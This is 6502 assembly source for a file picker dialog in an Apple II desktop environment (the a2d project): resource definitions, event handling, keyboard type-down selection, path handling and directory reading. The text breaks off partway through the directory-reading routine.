kControlsTop = 27
kButtonGap = 3
kSep = kButtonGap-1 + 1 + kButtonGap-1
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT_FRAME dialog_frame_rect, kFilePickerDlgWidth, kFilePickerDlgHeight
DEFINE_POINT item_pos, 0, 0
.ifdef FD_EXTENDED
DEFINE_RECT_FRAME dialog_ex_frame_rect, kFilePickerDlgExWidth, kFilePickerDlgExHeight
.endif
kButtonsLeft = 195
kMaxNameWidth = 140
kDirLabelCenterX = kControlsLeft + kListBoxWidth/2
DEFINE_POINT dir_label_pos, kDirLabelCenterX, 16 + kSystemFontHeight
DEFINE_RECT_SZ dir_name_rect, kDirLabelCenterX - kMaxNameWidth/2, 16, kMaxNameWidth, kSystemFontHeight
kDiskLabelCenterX = kButtonsLeft + kButtonWidth/2
DEFINE_POINT disk_label_pos, kDiskLabelCenterX, 16 + kSystemFontHeight
DEFINE_RECT_SZ disk_name_rect, kDiskLabelCenterX - kMaxNameWidth/2, 16, kMaxNameWidth, kSystemFontHeight
DEFINE_BUTTON drives_button, kFilePickerDlgWindowID, res_string_button_drives, res_string_shortcut_drives, kButtonsLeft, kControlsTop + 0 * (kButtonHeight + kButtonGap)
DEFINE_BUTTON open_button, kFilePickerDlgWindowID, res_string_button_open, res_string_shortcut_open, kButtonsLeft, kControlsTop + 1 * (kButtonHeight + kButtonGap)
DEFINE_BUTTON close_button, kFilePickerDlgWindowID, res_string_button_close, res_string_shortcut_close, kButtonsLeft, kControlsTop + 2 * (kButtonHeight + kButtonGap)
SUPPRESS_SHADOW_WARNING
DEFINE_BUTTON cancel_button, kFilePickerDlgWindowID, res_string_button_cancel, res_string_button_cancel_shortcut, kButtonsLeft, kControlsTop + 3 * (kButtonHeight + kButtonGap) + kSep
DEFINE_BUTTON ok_button, kFilePickerDlgWindowID, res_string_button_ok, kGlyphReturn, kButtonsLeft, kControlsTop + 4 * (kButtonHeight + kButtonGap) + kSep
UNSUPPRESS_SHADOW_WARNING
.ifdef FD_EXTENDED
;;; Dividing line
DEFINE_POINT dialog_sep_start, 315, kControlsTop
DEFINE_POINT dialog_sep_end, 315, 99
.endif
kButtonSepY = kControlsTop + 3*kButtonHeight + 3*kButtonGap + 1
DEFINE_POINT button_sep_start, kButtonsLeft, kButtonSepY
DEFINE_POINT button_sep_end, kButtonsLeft + kButtonWidth, kButtonSepY
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
checkerboard_pattern:
.byte $55, $AA, $55, $AA, $55, $AA, $55, $AA
kFilePickerDlgWindowID = $3E
;;; Simple, no customizations supported
kFilePickerDlgWidth = 323
kFilePickerDlgHeight = 108
kFilePickerDlgLeft = (kScreenWidth - kFilePickerDlgWidth) / 2
kFilePickerDlgTop = (kScreenHeight - kFilePickerDlgHeight) / 2
;;; Advanced; can have name and custom controls
.ifdef FD_EXTENDED
kFilePickerDlgExWidth = 500
kFilePickerDlgExHeight = 132
kFilePickerDlgExLeft = (kScreenWidth - kFilePickerDlgExWidth) / 2
kFilePickerDlgExTop = (kScreenHeight - kFilePickerDlgExHeight) / 2
.endif
;;; File Picker Dialog
.params winfo
window_id: .byte kFilePickerDlgWindowID
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 150
mincontheight: .word 50
maxcontwidth: .word 500
maxcontheight: .word 140
port:
DEFINE_POINT viewloc, kFilePickerDlgLeft, kFilePickerDlgTop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kFilePickerDlgWidth, kFilePickerDlgHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; Listbox within File Picker Dialog
kEntryListCtlWindowID = $3F
kListRows = 7
kListBoxLeft = kFilePickerDlgLeft + kControlsLeft + 1 ; +1 for external border
kListBoxTop = kFilePickerDlgTop + kControlsTop + 1
kListBoxWidth = 125
kListBoxHeight = kListItemHeight * kListRows - 1
.ifdef FD_EXTENDED
kExListBoxLeft = kFilePickerDlgExLeft + kControlsLeft + 1 ; +1 for external border
kExListBoxTop = kFilePickerDlgExTop + 28
.endif
DEFINE_LIST_BOX_WINFO winfo_listbox, \
kEntryListCtlWindowID, \
kListBoxLeft, \
kListBoxTop, \
kListBoxWidth, \
kListBoxHeight, \
FONT
.ifdef FD_EXTENDED
;;; Needed in DeskTop (LBTK in Aux, File Dialog in Main)
.proc DrawEntryProc
jsr BankInMain
jsr ::file_dialog_impl__DrawListEntryProc
jmp BankInAux
.endproc ; DrawEntryProc
.proc OnSelChange
jsr BankInMain
jsr ::file_dialog_impl__OnListSelectionChange
jmp BankInAux
.endproc ; OnSelChange
.else
DrawEntryProc := ::file_dialog_impl__DrawListEntryProc
OnSelChange := ::file_dialog_impl__OnListSelectionChange
.endif
DEFINE_LIST_BOX listbox_rec, file_dialog_res::winfo_listbox, \
file_dialog_res::kListRows, SELF_MODIFIED_BYTE, \
DrawEntryProc, OnSelChange, NoOp
DEFINE_LIST_BOX_PARAMS lb_params, listbox_rec
NoOp: rts
.ifdef FD_EXTENDED
DEFINE_POINT extra_viewloc, kFilePickerDlgExLeft, kFilePickerDlgExTop
DEFINE_POINT extra_size, kFilePickerDlgExWidth, kFilePickerDlgExHeight
DEFINE_POINT extra_listloc, kExListBoxLeft, kExListBoxTop
DEFINE_POINT normal_viewloc, kFilePickerDlgLeft, kFilePickerDlgTop
DEFINE_POINT normal_size, kFilePickerDlgWidth, kFilePickerDlgHeight
DEFINE_POINT normal_listloc, kListBoxLeft, kListBoxTop
.endif
;;; ============================================================
.ifdef FD_EXTENDED
;;; Line Edit - Filename (etc)
kLineEditX = kControlsLeft
kLineEditWidth = 435
kLineEditY = 114
kLineEditHeight = kTextBoxHeight
DEFINE_POINT line_edit_label_pos, kLineEditX, kLineEditY-2
DEFINE_RECT_SZ line_edit_rect, kLineEditX, kLineEditY, kLineEditWidth, kLineEditHeight
DEFINE_LINE_EDIT line_edit, kFilePickerDlgWindowID, text_input_buf, kLineEditX, kLineEditY, kLineEditWidth, kMaxFilenameLength
DEFINE_LINE_EDIT_PARAMS le_params, line_edit
.endif ; FD_EXTENDED
.endscope ; file_dialog_res
|
a2stuff/a2d
| 42,230
|
src/lib/file_dialog.s
|
;;; ============================================================
;;; Common File Picker Dialog
;;;
;;; Required includes:
;;; * lib/adjustfilecase.s
;;; * lib/doubleclick.s
;;; * lib/event_params.s
;;; * lib/file_dialog_res.s
;;; * lib/get_next_event.s
;;;
;;; Requires these macros to be functional:
;;; * `MLI_CALL`
;;; * `MGTK_CALL`
;;; * `BTK_CALL`
;;; * `LBTK_CALL`
;;;
;;; Requires the following proc definitions:
;;; * `SystemTask`
;;;
;;; If `FD_EXTENDED` is defined:
;;; * name field at bottom and extra clickable controls on right are supported
;;; * `LETK_CALL` is required
;;; ============================================================
;;; Memory map
;;;
;;; Main
;;; : :
;;; | |
;;; | DHR |
;;; $2000 +-----------+
;;; | |
;;; | |
;;; | |
;;; | |
;;; | filenames | 128 x 16-byte filenames
;;; $1800 +-----------+
;;; | index | position in list to filename
;;; $1780 +-----------+
;;; | (unused) |
;;; $1661 +-----------+
;;; | path buf |
;;; $1620 +-----------+
;;; | online buf|
;;; $1610 +-----------+
;;; | typedown |
;;; $1600 +-----------+
;;; | |
;;; | dir buf | current directory block
;;; $1400 +-----------+
;;; | |
;;; | |
;;; | |
;;; | IO Buffer | for reading directory
;;; $1000 +-----------+
;;; | |
;;; | |
;;; | |
;;; | |
;;; | (unused) |
;;; $800 +-----------+
;;; | |
;;; : :
;;;
;;; ============================================================
.scope file_dialog_impl
;;; Clients that do fancy things like show alerts without tearing down
;;; the dialog may overwrite the file dialog's state. By exporting
;;; where the state lives, clients can save/restore it as necessary
state_start := $1600
state_end := $1FFF
;;; Buffer used when selecting filename by holding Apple key and typing name.
;;; Length-prefixed string, initialized to 0 when the dialog is shown.
type_down_buf := $1600 ; 16 bytes
on_line_buffer := $1610 ; 16 bytes for ON_LINE calls
path_buf := $1620 ; 65 bytes for path+length
;;; Map from index in file_names to list entry; high bit is
;;; set for directories.
file_list_index := $1780
;;; Sequence of 16-byte records, filenames in current directory.
file_names := $1800
;;; ============================================================
DEFINE_ON_LINE_PARAMS on_line_params, 0, on_line_buffer
io_buf := $1000
dir_read_buf := $1400
kDirReadSize = $200
DEFINE_OPEN_PARAMS open_params, path_buf, io_buf
DEFINE_READWRITE_PARAMS read_params, dir_read_buf, kDirReadSize
DEFINE_CLOSE_PARAMS close_params
only_show_dirs_flag: ; bit7 set when selecting copy destination
.byte 0
;;; bit7 = 0 = no selection required
;;; bit6 = 0 = no root
;;; bit6 = 1 = root ok -- NOT USED
;;; bit7 = 1 = selection required
;;; bit6 = 0 = no dirs
;;; bit6 = 1 = dirs ok
selection_requirement_flags:
.byte 0
;;; ============================================================
.proc Init
jsr _SetCursorPointer
lda #0
sta type_down_buf
sta only_show_dirs_flag
.ifdef FD_EXTENDED
sta cursor_ibeam_flag
sta extra_controls_flag
.endif
copy8 #$FF, selected_index
;; Client must call `UpdateListFromPath` which will initialize
;; the dynamic button states.
rts
.endproc ; Init
;;; ============================================================
;;; Flags set by invoker to alter behavior
.ifdef FD_EXTENDED
;;; bit7 set when `click_handler_hook` should be called and name input present.
extra_controls_flag:
.byte 0
;;; These vectors get patched by overlays that add controls.
click_handler_hook:
.addr NoOp
key_handler_hook:
.addr NoOp
.endif
;;; ============================================================
.proc EventLoop
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
LETK_CALL LETK::Idle, file_dialog_res::le_params
END_IF
.endif
jsr SystemTask
jsr GetNextEvent
IF_A_EQ #MGTK::EventKind::key_down
jsr _HandleKeyEvent
jmp EventLoop
END_IF
IF_A_EQ #MGTK::EventKind::button_down
ldx #0 ; Clear type-down
stx type_down_buf
jsr _HandleButtonDown
jmp EventLoop
END_IF
IF_A_EQ #kEventKindMouseMoved
ldx #0 ; Clear type-down
stx type_down_buf
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
jsr _MoveToWindowCoords
MGTK_CALL MGTK::InRect, file_dialog_res::line_edit_rect
ASSERT_EQUALS MGTK::inrect_outside, 0
beq out
jsr _SetCursorIBeam
jmp EventLoop
out: jsr _UnsetCursorIBeam
;; Fall through to JMP
END_IF
.endif
END_IF
jmp EventLoop
.endproc ; EventLoop
;;; ============================================================
.proc _MoveToWindowCoords
lda #file_dialog_res::kFilePickerDlgWindowID
sta screentowindow_params+MGTK::ScreenToWindowParams::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params+MGTK::ScreenToWindowParams::window
rts
.endproc ; _MoveToWindowCoords
;;; ============================================================
.proc _HandleButtonDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params+MGTK::FindWindowParams::which_area
IF_A_NE #MGTK::Area::content
ret: rts
END_IF
;; Dialog window?
lda findwindow_params+MGTK::FindWindowParams::window_id
IF_A_NE #file_dialog_res::kFilePickerDlgWindowID
;; No, assume list box (will fail gracefully if not)
COPY_STRUCT MGTK::Point, event_params+MGTK::Event::coords, file_dialog_res::lb_params::coords
LBTK_CALL LBTK::Click, file_dialog_res::lb_params
bmi ret
jsr DetectDoubleClick
bmi ret
ldx selected_index
lda file_list_index,x
IF_NC
;; File - accept it.
BTK_CALL BTK::Flash, file_dialog_res::ok_button
jmp HandleOK
END_IF
;; Folder - open it.
BTK_CALL BTK::Flash, file_dialog_res::open_button
jmp _DoOpen
END_IF
jsr _MoveToWindowCoords
;; --------------------------------------------------
;; Drives button
MGTK_CALL MGTK::InRect, file_dialog_res::drives_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, file_dialog_res::drives_button
RTS_IF_NS
jmp _DoDrives
END_IF
;; --------------------------------------------------
;; Open button
MGTK_CALL MGTK::InRect, file_dialog_res::open_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, file_dialog_res::open_button
RTS_IF_NS
jmp _DoOpen
END_IF
;; --------------------------------------------------
;; Close button
MGTK_CALL MGTK::InRect, file_dialog_res::close_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, file_dialog_res::close_button
RTS_IF_NS
jmp _DoClose
END_IF
;; --------------------------------------------------
;; OK button
MGTK_CALL MGTK::InRect, file_dialog_res::ok_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, file_dialog_res::ok_button
RTS_IF_NS
jmp HandleOK
END_IF
;; --------------------------------------------------
;; Cancel button
MGTK_CALL MGTK::InRect, file_dialog_res::cancel_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, file_dialog_res::cancel_button
RTS_IF_NS
jmp HandleCancel
END_IF
;; --------------------------------------------------
;; Extra controls
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
;; Text Edit
MGTK_CALL MGTK::InRect, file_dialog_res::line_edit_rect
IF_NOT_ZERO
COPY_STRUCT MGTK::Point, screentowindow_params+MGTK::ScreenToWindowParams::window, file_dialog_res::le_params::coords
LETK_CALL LETK::Click, file_dialog_res::le_params
rts
END_IF
;; Additional controls
jmp (click_handler_hook)
END_IF
.endif
rts
.endproc ; _HandleButtonDown
;;; ============================================================
;;; Refresh the list view from the current path
;;; Clears selection.
.proc UpdateListFromPath
jsr _ReadDir
jsr _UpdateDiskAndDirNames
copy8 #$FF, selected_index
LBTK_CALL LBTK::Init, file_dialog_res::lb_params
jmp _UpdateDynamicButtons
.endproc ; UpdateListFromPath
;;; As above, but select filename passed in A,X
.ifdef FD_EXTENDED
.proc UpdateListFromPathAndSelectFile
pha
txa
pha
jsr _ReadDir
jsr _UpdateDiskAndDirNames
pla
tax
pla
jsr _FindFilenameIndex
sta selected_index
LBTK_CALL LBTK::Init, file_dialog_res::lb_params
jmp _UpdateDynamicButtons
.endproc ; UpdateListFromPathAndSelectFile
.endif
;;; ============================================================
.ifdef FD_EXTENDED
.proc _SetCursorIBeam
bit cursor_ibeam_flag
IF_NC
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::ibeam
SET_BIT7_FLAG cursor_ibeam_flag
END_IF
rts
.endproc ; _SetCursorIBeam
.proc _UnsetCursorIBeam
bit cursor_ibeam_flag
IF_NS
jsr _SetCursorPointer
CLEAR_BIT7_FLAG cursor_ibeam_flag
END_IF
rts
.endproc ; _UnsetCursorIBeam
cursor_ibeam_flag: ; high bit set when cursor is I-beam
.byte 0
.endif
;;; ============================================================
.proc _SetCursorPointer
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
rts
.endproc ; _SetCursorPointer
;;; ============================================================
;;; Get the current path, including the selection (if any)
;;; Inputs: A,X = buffer to copy path into
.proc GetPath
stax ptr
;; Any selection?
bit selected_index
IF_NC
;; Append filename temporarily
jsr _AppendSelectedFilename
END_IF
ldy path_buf
DO
lda path_buf,y
ptr := *+1
sta SELF_MODIFIED,y
dey
WHILE_POS
bit selected_index
IF_NC
jsr StripPathBufSegment
END_IF
rts
.endproc ; GetPath
;;; ============================================================
.proc _DoOpen
jsr _AppendSelectedFilename
jmp UpdateListFromPath
.endproc ; _DoOpen
;;; ============================================================
.proc _DoDrives
jsr _SetRootPath
jmp UpdateListFromPath
.endproc ; _DoDrives
;;; ============================================================
;;; Set `path_buf` to "/"
.proc _SetRootPath
copy8 #1, path_buf
copy8 #'/', path_buf+1
rts
.endproc ; _SetRootPath
;;; ============================================================
;;; Output: Z=1 if path is just '/'
;;; Trashes: A
.proc _IsRootPath
lda path_buf
cmp #1
rts
.endproc ; _IsRootPath
;;; ============================================================
;;; Output: C=0 if allowed, C=1 if not.
.proc _IsOpenAllowed
ldx selected_index
bmi _ReturnNotAllowed ; no selection
lda file_list_index,x
bpl _ReturnNotAllowed ; not a folder
FALL_THROUGH_TO _ReturnAllowed
.endproc ; _IsOpenAllowed
.proc _ReturnAllowed
clc
rts
.endproc ; _ReturnAllowed
.proc _ReturnNotAllowed
sec
rts
.endproc ; _ReturnNotAllowed
;;; ============================================================
;;; Output: C=0 if allowed, C=1 if not.
.proc _IsCloseAllowed
jsr _IsRootPath
beq _ReturnNotAllowed
clc
rts
.endproc ; _IsCloseAllowed
;;; ============================================================
;;; Output: C=0 if allowed, C=1 if not.
.proc _IsOKAllowed
.assert kSelectionOptional & $80 = $00, error, "enum mismatch"
.assert kSelectionOptionalUnlessRoot & $80 = $00, error, "enum mismatch"
.assert kSelectionRequiredNoDirs & $80 = $80, error, "enum mismatch"
.assert kSelectionRequiredDirsOK & $80 = $80, error, "enum mismatch"
bit selection_requirement_flags
IF_NS
;; Selection required
bit selected_index
bmi _ReturnNotAllowed ; no selection
.assert kSelectionRequiredNoDirs & $40 = $00, error, "enum mismatch"
.assert kSelectionRequiredDirsOK & $40 = $40, error, "enum mismatch"
;; bit6 = dirs ok?
bit selection_requirement_flags
bvs _ReturnAllowed ; dirs ok
jsr _IsOpenAllowed ; C=0 if open allowed
bcc _ReturnNotAllowed ; but we want the inverse
bcs _ReturnAllowed ; always
END_IF
;; No selection required
.assert kSelectionOptional & $40 = $00, error, "enum mismatch"
.assert kSelectionOptionalUnlessRoot & $40 = $40, error, "enum mismatch"
;; bit6 = root w/ no selection ok?
bvc _ReturnAllowed
;; selection required if not root
bit selected_index
bmi _IsCloseAllowed ; no selection, so only if not root
bpl _ReturnAllowed ; always
.endproc ; _IsOKAllowed
;;; ============================================================
.proc _DoClose
jsr _IsCloseAllowed
IF_CC
;; Remove last segment
jsr StripPathBufSegment
lda path_buf
IF_ZERO
jsr _SetRootPath
END_IF
jsr UpdateListFromPath
END_IF
rts
.endproc ; _DoClose
;;; ============================================================
;;; Key handler
.proc _HandleKeyEvent
lda event_params+MGTK::Event::key
ldx event_params+MGTK::Event::modifiers
sta file_dialog_res::lb_params::key
stx file_dialog_res::lb_params::modifiers
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN
copy8 #0, type_down_buf
LBTK_CALL LBTK::Key, file_dialog_res::lb_params
rts
END_IF
IF_X_NE #0
;; With modifiers
jsr _CheckTypeDown
jeq exit
copy8 #0, type_down_buf
ldx event_params+MGTK::Event::modifiers
lda event_params+MGTK::Event::key
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
;; Hook for clients
IF_A_GE #'0'
IF_A_LT #'9'+1
jmp (key_handler_hook)
END_IF
END_IF
END_IF
.endif
ELSE
;; --------------------------------------------------
;; No modifiers
.ifndef FD_EXTENDED
jsr _CheckTypeDown
jeq exit
.else
bit extra_controls_flag
IF_NC
jsr _CheckTypeDown
jeq exit
END_IF
.endif
copy8 #0, type_down_buf
lda event_params+MGTK::Event::key
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, file_dialog_res::ok_button
RTS_IF_NS
jmp HandleOK
END_IF
IF_A_EQ #CHAR_ESCAPE
BTK_CALL BTK::Flash, file_dialog_res::cancel_button
;; always enabled
jmp HandleCancel
END_IF
IF_A_EQ #CHAR_CTRL_O
BTK_CALL BTK::Flash, file_dialog_res::open_button
RTS_IF_NS
jmp _DoOpen
END_IF
IF_A_EQ #CHAR_CTRL_D
BTK_CALL BTK::Flash, file_dialog_res::drives_button
;; always enabled
jmp _DoDrives
END_IF
IF_A_EQ #CHAR_CTRL_C
jsr _IsCloseAllowed
RTS_IF_NS
jmp _DoClose
END_IF
END_IF
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
;; Edit control
copy8 event_params+MGTK::Event::key, file_dialog_res::le_params::key
copy8 event_params+MGTK::Event::modifiers, file_dialog_res::le_params::modifiers
LETK_CALL LETK::Key, file_dialog_res::le_params
END_IF
.endif
exit: rts
;;; ============================================================
.proc _CheckTypeDown
lda event_params+MGTK::Event::key
jsr _ToUpperCase
cmp #'A'
bcc :+
cmp #'Z'+1
bcc file_char
: ldx type_down_buf
beq not_file_char
cmp #'.'
beq file_char
cmp #'0'
bcc not_file_char
cmp #'9'+1
bcc file_char
not_file_char:
return #$FF
file_char:
ldx type_down_buf
RTS_IF_X_EQ #kMaxFilenameLength ; Z=1 to consume
inx
stx type_down_buf
sta type_down_buf,x
jsr _FindMatch
IF_NC
IF_A_NE selected_index
sta file_dialog_res::lb_params::new_selection
LBTK_CALL LBTK::SetSelection, file_dialog_res::lb_params
jmp _UpdateDynamicButtons
END_IF
END_IF
return #0
.proc _FindMatch
lda num_file_names
IF_ZERO
return #$FF
END_IF
copy8 #0, index
DO
index := *+1
ldx #SELF_MODIFIED_BYTE
lda file_list_index,x
and #$7F
jsr _GetNthFilename
stax $06
ldy #0
lda ($06),y
sta len
ldy #1 ; compare strings (length >= 1)
cloop: lda ($06),y
jsr _ToUpperCase
cmp type_down_buf,y
bcc next
beq :+ ; TODO: `BGT` ?
bcs found
:
cpy type_down_buf
beq found
iny
len := *+1
cpy #SELF_MODIFIED_BYTE
bcc cloop ; TODO: `BLE` ?
beq cloop
next: inc index
lda index
WHILE_A_NE num_file_names
dec index
found: return index
.endproc ; _FindMatch
.endproc ; _CheckTypeDown
.endproc ; _HandleKeyEvent
;;; ============================================================
;;; Input: A = index
;;; Output: A,X = filename
.proc _GetNthFilename
ldx #$00
stx hi
asl a ; * 16
rol hi
asl a
rol hi
asl a
rol hi
asl a
rol hi
clc
adc #<file_names
tay
hi := *+1
lda #SELF_MODIFIED_BYTE
adc #>file_names
tax
tya
rts
.endproc ; _GetNthFilename
;;; ============================================================
.include "../lib/uppercase.s"
_ToUpperCase := ToUpperCase
;;; ============================================================
.proc _UpdateDynamicButtons
;; --------------------------------------------------
;; OK
jsr _IsOKAllowed
lda #0
ror ; C into high bit
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
IF_A_NE file_dialog_res::ok_button::state
sta file_dialog_res::ok_button::state
BTK_CALL BTK::Hilite, file_dialog_res::ok_button
END_IF
;; --------------------------------------------------
;; Open
jsr _IsOpenAllowed
lda #0
ror ; C into high bit
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
IF_A_NE file_dialog_res::open_button::state
sta file_dialog_res::open_button::state
BTK_CALL BTK::Hilite, file_dialog_res::open_button
END_IF
;; --------------------------------------------------
;; Close
jsr _IsCloseAllowed
lda #0
ror ; C into high bit
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
IF_A_NE file_dialog_res::close_button::state
sta file_dialog_res::close_button::state
BTK_CALL BTK::Hilite, file_dialog_res::close_button
END_IF
rts
.endproc ; _UpdateDynamicButtons
;;; ============================================================
.proc NoOp
rts
.endproc ; NoOp
;;; ============================================================
.proc OpenWindow
;; Save title string param
pha
txa
pha
.ifdef FD_EXTENDED
;; Set correct sizes for the windows (dialog and listbox) based on options.
ldx #.sizeof(MGTK::Point)-1
DO
bit extra_controls_flag
IF_NS
copy8 file_dialog_res::extra_viewloc,x, file_dialog_res::winfo::viewloc,x
copy8 file_dialog_res::extra_size,x, file_dialog_res::winfo::maprect+MGTK::Rect::bottomright,x
copy8 file_dialog_res::extra_listloc,x, file_dialog_res::winfo_listbox::viewloc,x
ELSE
copy8 file_dialog_res::normal_viewloc,x, file_dialog_res::winfo::viewloc,x
copy8 file_dialog_res::normal_size,x, file_dialog_res::winfo::maprect+MGTK::Rect::bottomright,x
copy8 file_dialog_res::normal_listloc,x, file_dialog_res::winfo_listbox::viewloc,x
END_IF
dex
WHILE_POS
.endif
MGTK_CALL MGTK::OpenWindow, file_dialog_res::winfo
MGTK_CALL MGTK::SetPort, file_dialog_res::winfo::port
MGTK_CALL MGTK::SetPenMode, file_dialog_res::notpencopy
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
MGTK_CALL MGTK::FrameRect, file_dialog_res::line_edit_rect
END_IF
.endif
MGTK_CALL MGTK::SetPenSize, file_dialog_res::pensize_frame
.ifndef FD_EXTENDED
MGTK_CALL MGTK::FrameRect, file_dialog_res::dialog_frame_rect
.else
bit extra_controls_flag
IF_NS
MGTK_CALL MGTK::FrameRect, file_dialog_res::dialog_ex_frame_rect
ELSE
MGTK_CALL MGTK::FrameRect, file_dialog_res::dialog_frame_rect
END_IF
.endif
MGTK_CALL MGTK::SetPenSize, file_dialog_res::pensize_normal
;; Draw title
copy16 file_dialog_res::winfo::maprect::x2, file_dialog_res::pos_title::xcoord
lsr16 file_dialog_res::pos_title::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, file_dialog_res::pos_title
pla
tax
pla
jsr _DrawStringCentered
jsr _IsOKAllowed
ror
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
sta file_dialog_res::ok_button::state
BTK_CALL BTK::Draw, file_dialog_res::ok_button
BTK_CALL BTK::Draw, file_dialog_res::cancel_button
BTK_CALL BTK::Draw, file_dialog_res::drives_button
jsr _IsOpenAllowed
ror
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
sta file_dialog_res::open_button::state
BTK_CALL BTK::Draw, file_dialog_res::open_button
jsr _IsCloseAllowed
ror
ASSERT_EQUALS BTK::kButtonStateDisabled, $80
sta file_dialog_res::close_button::state
BTK_CALL BTK::Draw, file_dialog_res::close_button
MGTK_CALL MGTK::SetPenMode, file_dialog_res::penXOR
MGTK_CALL MGTK::SetPattern, file_dialog_res::checkerboard_pattern
MGTK_CALL MGTK::MoveTo, file_dialog_res::button_sep_start
MGTK_CALL MGTK::LineTo, file_dialog_res::button_sep_end
.ifdef FD_EXTENDED
bit extra_controls_flag
IF_NS
MGTK_CALL MGTK::SetPattern, file_dialog_res::winfo::pattern
MGTK_CALL MGTK::MoveTo, file_dialog_res::dialog_sep_start
MGTK_CALL MGTK::LineTo, file_dialog_res::dialog_sep_end
LETK_CALL LETK::Init, file_dialog_res::le_params
LETK_CALL LETK::Activate, file_dialog_res::le_params
END_IF
.endif
lda #MGTK::Scroll::option_present | MGTK::Scroll::option_thumb
sta file_dialog_res::winfo_listbox::vscroll
MGTK_CALL MGTK::OpenWindow, file_dialog_res::winfo_listbox
rts
.endproc ; OpenWindow
;;; ============================================================
.proc CloseWindow
MGTK_CALL MGTK::CloseWindow, file_dialog_res::winfo_listbox
MGTK_CALL MGTK::CloseWindow, file_dialog_res::winfo
.ifdef FD_EXTENDED
jsr _UnsetCursorIBeam
.endif
rts
.endproc ; CloseWindow
;;; ============================================================
.proc DrawString
ptr := $06
params := $06
stax ptr
ldy #0
lda (ptr),y
beq ret
sta params+2
inc16 params
MGTK_CALL MGTK::DrawText, params
ret: rts
.endproc ; DrawString
;;; ============================================================
.proc _DrawStringCentered
ptr := $06
params := $06
stax ptr
ldy #0
lda (ptr),y
beq ret
sta params+2
inc16 params
MGTK_CALL MGTK::TextWidth, params
lsr16 params+3 ; width
sub16 #0, params+3, params+3 ; deltax
copy16 #0, params+5 ; deltay
MGTK_CALL MGTK::Move, params+3
MGTK_CALL MGTK::DrawText, params
ret: rts
.endproc ; _DrawStringCentered
;;; ============================================================
.ifdef FD_EXTENDED
.proc DrawLineEditLabel
pha ; save A,X
txa
pha
MGTK_CALL MGTK::MoveTo, file_dialog_res::line_edit_label_pos
pla ; restore A,X
tax
pla
jmp DrawString
.endproc ; DrawLineEditLabel
.endif
;;; ============================================================
.proc InitPathWithDefaultDevice
copy8 DEVCNT, device_num
device_num := *+1
retry: ldx #SELF_MODIFIED_BYTE
lda DEVLST,x
and #UNIT_NUM_MASK
sta on_line_params::unit_num
MLI_CALL ON_LINE, on_line_params
lda on_line_buffer
and #NAME_LENGTH_MASK
bne found
dec device_num
bpl retry
copy8 DEVCNT, device_num
jmp retry
found: param_call AdjustOnLineEntryCase, on_line_buffer
lda #0
sta path_buf
param_jump _AppendToPathBuf, on_line_buffer
.endproc ; InitPathWithDefaultDevice
;;; ============================================================
;;; Assert: `selected_index` is valid (not -1)
.proc _AppendSelectedFilename
ldx selected_index
lda file_list_index,x
and #$7F
jsr _GetNthFilename
FALL_THROUGH_TO _AppendToPathBuf
.endproc ; _AppendSelectedFilename
;;; ============================================================
;;; Appends filename at A,X to `path_buf`
;;; Output: C=0 on success, C=1 and path unchanged if too long
.proc _AppendToPathBuf
ptr := $06
stax ptr
ldx path_buf
IF_X_NE #1
lda #'/'
sta path_buf+1,x
inc path_buf
END_IF
ldy #0
lda (ptr),y
tay
clc
adc path_buf
;; Enough room?
cmp #kPathBufferSize
IF_GE
dec path_buf
rts ; C=1 failure
END_IF
pha
tax
DO
lda (ptr),y
sta path_buf,x
dey
dex
WHILE_X_NE path_buf
pla
sta path_buf
clc ; C=0 success
rts
.endproc ; _AppendToPathBuf
;;; ============================================================
.proc StripPathBufSegment
DO
ldx path_buf
BREAK_IF_EQ
dec path_buf
lda path_buf,x
WHILE_A_NE #'/'
rts
.endproc ; StripPathBufSegment
;;; ============================================================
.proc _ReadDir
jsr _IsRootPath
jeq _ReadDrives
MLI_CALL OPEN, open_params
bcs err
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
MLI_CALL READ, read_params
IF_CS
err: jsr _SetRootPath
jmp _ReadDrives
END_IF
lda #0
sta entry_index
lda #1
sta entry_in_block
copy8 dir_read_buf+SubdirectoryHeader::entry_length, entry_length
copy8 dir_read_buf+SubdirectoryHeader::entries_per_block, entries_per_block
lda dir_read_buf+SubdirectoryHeader::file_count
and #$7F ; TODO: max of 128 entries, but this is still weird
